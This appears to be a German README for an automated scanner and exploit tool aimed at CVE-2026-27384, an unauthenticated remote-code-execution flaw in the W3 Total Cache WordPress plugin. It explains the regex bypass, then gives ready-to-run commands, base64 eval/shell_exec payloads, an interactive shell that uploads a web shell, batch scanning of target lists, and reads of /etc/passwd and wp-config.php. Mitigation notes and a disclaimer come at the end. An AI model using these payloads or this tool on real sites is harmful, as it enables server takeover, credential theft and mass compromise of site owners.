
Automatisierter Scanner und Exploit für CVE-2026-27384, eine nicht authentifizierte RCE in W3 Total Cache über mfunc/eval()-Injection. Merkmale: automatische Erkennung, 48 Payload-Varianten, interaktive Shell und Stapelverarbeitung (Batch-Scanning).
Plugin: W3 Total Cache Plugin-Slug:
w3-total-cacheCVE-ID: CVE-2026-27384 CVSS-Score: 9.8 (Critical) CVSS-Vektor:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HSchwachstellentyp: Nicht authentifizierte beliebige Codeausführung (Code Injection mittelseval()) Betroffene Versionen: <= 2.9.1 Gepatchte Version: 2.9.2 Veröffentlichungsdatum: 24. Februar 2026 Forscher: CODE WHITE GmbH
Die Dynamic Fragment Caching-Funktion des W3 Total Cache-Plugins (mfunc/mclude-System)
führt in HTML-Kommentare eingebetteten PHP-Code mit eval() aus.
Das W3TC_DYNAMIC_SECURITY-Token, das diese Funktion schützen soll, kann durch das
Zusammenwirken mehrerer Codierungsfehler umgangen werden.
Ergebnis: Ohne Authentifizierung kann allein durch das Senden eines WordPress-Kommentars beliebiger PHP-Code auf dem Server ausgeführt werden.
Die Dynamic Fragment Caching-Funktion von W3TC ermöglicht es Entwicklern, PHP-Code über spezielle Kommentar-Tags in das HTML der Seite einzubetten:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
W3TC verarbeitet diese Tags, wenn die Seite aus dem Cache ausgeliefert wird:
Der eingebettete PHP-Code wird mit eval() ausgeführt, die Ausgabe ersetzt den Kommentarblock.
preg_quote() (PgCache_ContentGrabber.php)// VULNERABLE — 2.9.1
public function _parse_dynamic( $buffer ) {
$buffer = preg_replace_callback(
// ❌ W3TC_DYNAMIC_SECURITY wird direkt in den Regex eingefügt
// preg_quote() fehlt → Token verhält sich wie ein Regex-Muster
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
}
Ist das Token '.', wird der Regex zu <!--\s*mfunc\s*.(.*)--> →
jedes einzelne Zeichen ersetzt das Token.
\s* vs. \s+-Unstimmigkeit| Funktion | Muster | Verhalten |
|---|---|---|
_parse_dynamic() — führt aus |
Angreifer-Payload: <!-- mfuncA php_code --><!-- /mfuncA -->
↑
KEIN Leerzeichen zwischen mfunc und Token
Strip-Funktion: \s+ → keine Übereinstimmung → Payload BLEIBT
Ausführungs-Regex: \s* → Übereinstimmung → eval() LÄUFT
_has_dynamic())// VULNERABLE — 2.9.1
public function _has_dynamic( $buffer ) {
// ❌ Nur defined()-Prüfung — keine empty()- oder Metazeichen-Prüfung
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis',
$buffer
);
}
W3TC_DYNAMIC_SECURITY = '.' (Regex-Metazeichen — ein beliebiges Zeichen)
│
▼
Angreifer sendet Kommentar:
<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->
│
▼
strip_dynamic_fragment_tags_from_string()
Muster: mfunc\s+[^\s]+ → erfordert \s+, kein Leerzeichen → UMGANGEN ✅
│
▼
Kommentar wird in der Datenbank gespeichert, Seite wird gecacht
│
▼
Zweite HTTP-Anfrage → W3TC liefert aus dem Cache
_has_dynamic() → mfunc\s*. → 'A' stimmt überein → gibt true zurück
│
▼
_parse_dynamic() → preg_replace_callback
Muster: mfunc\s*. → 'A' stimmt überein
│
▼
_parse_dynamic_mfunc() → eval("echo shell_exec('id');")
│
▼
uid=33(www-data) gid=33(www-data) groups=33(www-data)
→ Unauthenticated RCE ✓
Ohne Authentifizierung kann beliebiger PHP-Code mit den Rechten des Webservers ausgeführt werden:
git clone https://github.com/kullanici/cve-2026-27384
cd cve-2026-27384
pip install -r requirements.txt
requirements.txt
requests
beautifulsoup4
| Modus | Beschreibung |
|---|---|
auto | Website scannen → Kommentarseite finden → ausnutzen (Standard) |
exploit | Direkter Exploit — mit Post-URL |
python w3tc_rce.py https://hedef.com
Der Scanner führt Folgendes aus:
# id-Befehl
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd id
# /etc/passwd lesen
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /etc/passwd"
# wp-config.php lesen
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--cmd "cat /var/www/html/wp-config.php"
# Post-ID manuell
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/merhaba-dunya/ \
--post-id 1 \
--cmd whoami
python w3tc_rce.py https://hedef.com \
--mode shell \
--post-url https://hedef.com/?p=1
Sobald die Shell geöffnet ist, werden automatisch whoami, hostname, pwd, uname -a ausgeführt:
=================================================================
CVE-2026-27384 — W3TC mfunc Interactive Shell
URL : https://hedef.com/?p=1
Payload: b64_shell_exec (bypass='A')
=================================================================
User : www-data
Host : web01.hedef.com
PWD : /var/www/html
OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP
=================================================================
Befehle: exit | upload <local> <remote> | download <remote>
=================================================================
┌──([email protected])
└─$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──([email protected])
└─$ upload shell.php /var/www/html/shell.php
[+] Upload: shell.php → /var/www/html/shell.php
┌──([email protected])
└─$ download /var/www/html/wp-config.php
[+] Download: wp-config.php → wp-config.php (4821 bytes)
python w3tc_rce.py https://hedef.com --mode detect
[+] W3TC installiert!
Version : 2.9.1
Cache : True
[!] Version 2.9.1 VERWUNDBAR (<= 2.9.1)!
python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt
python w3tc_rce.py https://hedef.com \
--mode exploit \
--post-url https://hedef.com/?p=1 \
--proxy http://127.0.0.1:8080 \
-v
Standard-Tag (wird von Strip erfasst):
<!-- mfunc TOKEN php_code --><!-- /mfunc TOKEN -->
↑
Leerzeichen vorhanden → \s+ passt → Strip entfernt
Bypass-Tag (umgeht Strip, eval() läuft):
<!-- mfuncA php_code --><!-- /mfuncA -->
↑
KEIN Leerzeichen → \s+ passt nicht → Strip ÜBERSPRINGT
\s* passt → eval() LÄUFT
Der PHP-Code wird base64-codiert, um HTML-Encoding-Probleme zu vermeiden:
# Befehl: id
b64_cmd = base64.b64encode(b"id").decode() # → "aWQ="
php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));"
# → echo shell_exec(base64_decode('aWQ='));
payload = f"<!-- mfuncA eval(base64_decode('{b64(php_code)}')); --><!-- /mfuncA -->"
1. W3TC-Erkennung
└─ readme.txt, Header, Body, Plugin-Verzeichnis
2. Kommentarsystem-Erkennung
└─ HTML-Formular, REST-API, Post-ID
3. Payload-Injektion (48 Varianten)
├─ REST-API: POST /wp-json/wp/v2/comments
└─ HTML-Formular: POST /wp-comments-post.php
4. Cache-Auslösung
├─ 1. Anfrage → Cache-Miss → Seite rendern → gecacht
└─ 2. Anfrage → Cache-Hit → _parse_dynamic() → eval()
5. Ausgabe extrahieren
└─ uid=, whoami, /path/, passwd, wp-config...
=================================================================
CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE
=================================================================
[*] Ziel: https://hedef.com
Crawling: [████████████████████] 100% (50/50) | 8.3/s
[+] Kommentarseite: https://hedef.com/?p=1 (post_id=1)
[1] W3TC-Erkennung...
[+] W3TC gefunden! Version: 2.9.1
[2] Kommentarsystem-Erkennung...
[+] Post-ID: 1 | Formular: True | REST: True
[3] Payload-Injektion (id)...
[i] 48 Payload-Varianten vorbereitet
[4] Cache wird ausgelöst...
[★] RCE ERFOLGREICH!
=========================================================
URL : https://hedef.com/?p=1
Payload : b64_shell_exec (bypass='A')
Befehl : id
Ausgabe : uid=33(www-data) gid=33(www-data) groups=33(www-data)
=========================================================
[+] Ergebnisse gespeichert → w3tc_results.txt
[?] Shell öffnen? (y/n):
Scanning: [████████████████████] 100% (100/100) | 4.2/s
[★] 7 Schwachstellen gefunden!
[+] Ergebnisse gespeichert → w3tc_results.txt
cve-2026-27384/
├── w3tc_rce.py # Haupt-Scanner
├── requirements.txt # Abhängigkeiten
└── README.md # Diese Datei
| Maßnahme | Beschreibung |
|---|---|
| Plugin-Update | Auf W3 Total Cache 2.9.2+ aktualisieren |
| mfunc deaktivieren | Wenn nicht definiert ist, funktioniert die Funktion nicht |
Sicheres Token-Beispiel (wp-config.php):
// ❌ Gefährlich — Regex-Metazeichen
define('W3TC_DYNAMIC_SECURITY', '.');
define('W3TC_DYNAMIC_SECURITY', '.*');
// ✅ Sicher — alphanumerisch
define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v');
2.9.2-Patch (_parse_dynamic()):
// PATCHED — 2.9.2
$token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote hinzugefügt
$buffer = preg_replace_callback(
'~<!--\s*mfunc\s+' . $token . '(.*)-->~Uis', // ✅ \s+ (mindestens 1 Leerzeichen)
...
);
Dieses Tool und der PoC wurden ausschließlich für den Einsatz auf autorisierten Systemen, zu Ausbildungszwecken und im Rahmen von Penetrationstests erstellt. Die Verwendung auf nicht autorisierten Systemen stellt gemäß Artikel 243–245 des türkischen Strafgesetzbuchs und internationaler Cyberkriminalitätsgesetze eine Straftat dar. Der Entwickler übernimmt keinerlei rechtliche Verantwortung für Missbrauch des Tools.
MIT-Lizenz — Nur für Bildungs- und Forschungszwecke.
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-27384 |
| CVSS | 9.8 Critical |
| Typ | Code Injection → RCE (CWE-94) |
| Betroffene Version | <= 2.9.1 |
| Gepatchte Version | 2.9.2 |
| Authentifizierung | Nicht erforderlich |
| Benutzerinteraktion | Nicht erforderlich |
| Voraussetzung | W3TC_DYNAMIC_SECURITY muss ein Regex-Metazeichen enthalten |
mfunc\s*TOKEN |
| 0 Leerzeichen akzeptiert ✅ |
strip_dynamic_fragment_tags_from_string() — entfernt | mfunc\s+TOKEN | Mindestens 1 Leerzeichen erforderlich ❌ |
shell | Interaktive Shell |
detect | Nur W3TC-Erkennung |
| Parameter | Kurz | Beschreibung | Standard |
|---|
url | — | Einzelne Ziel-URL | — |
--list | -l | Datei mit Zielliste | — |
--mode | — | Arbeitsmodus | auto |
--cmd | — | Auszuführender Befehl | id |
--post-url | — | URL der Seite mit Kommentar | — |
--post-id | — | WordPress-Post-ID | — |
--max-pages | — | Spider max. Seiten | 50 |
--threads | -t | Anzahl der Threads | 10 |
--output | -o | Ausgabedatei | w3tc_results.txt |
--proxy | — | Proxy-URL | — |
--no-color | — | Ausgabe ohne Farben | False |
--verbose | -v | Detaillierte Ausgabe | False |
| Gruppe | Funktion | Bypass-Zeichen | Codierung |
|---|
| b64_shell_exec | shell_exec | A, B, X, 1 | Base64 |
| b64_system | system | A, B, X, 1 | Base64 |
| b64_passthru | passthru | A, B, X, 1 | Base64 |
| b64_exec | exec | A, B, X, 1 | Base64 |
| b64_popen | popen | A, B, X, 1 | Base64 |
| raw_* | Alle Funktionen | A, B, X, 1 | Roh |
W3TC_DYNAMIC_SECURITY| Starkes Token | Token darf nur alphanumerische Zeichen enthalten ([a-zA-Z0-9_]+) |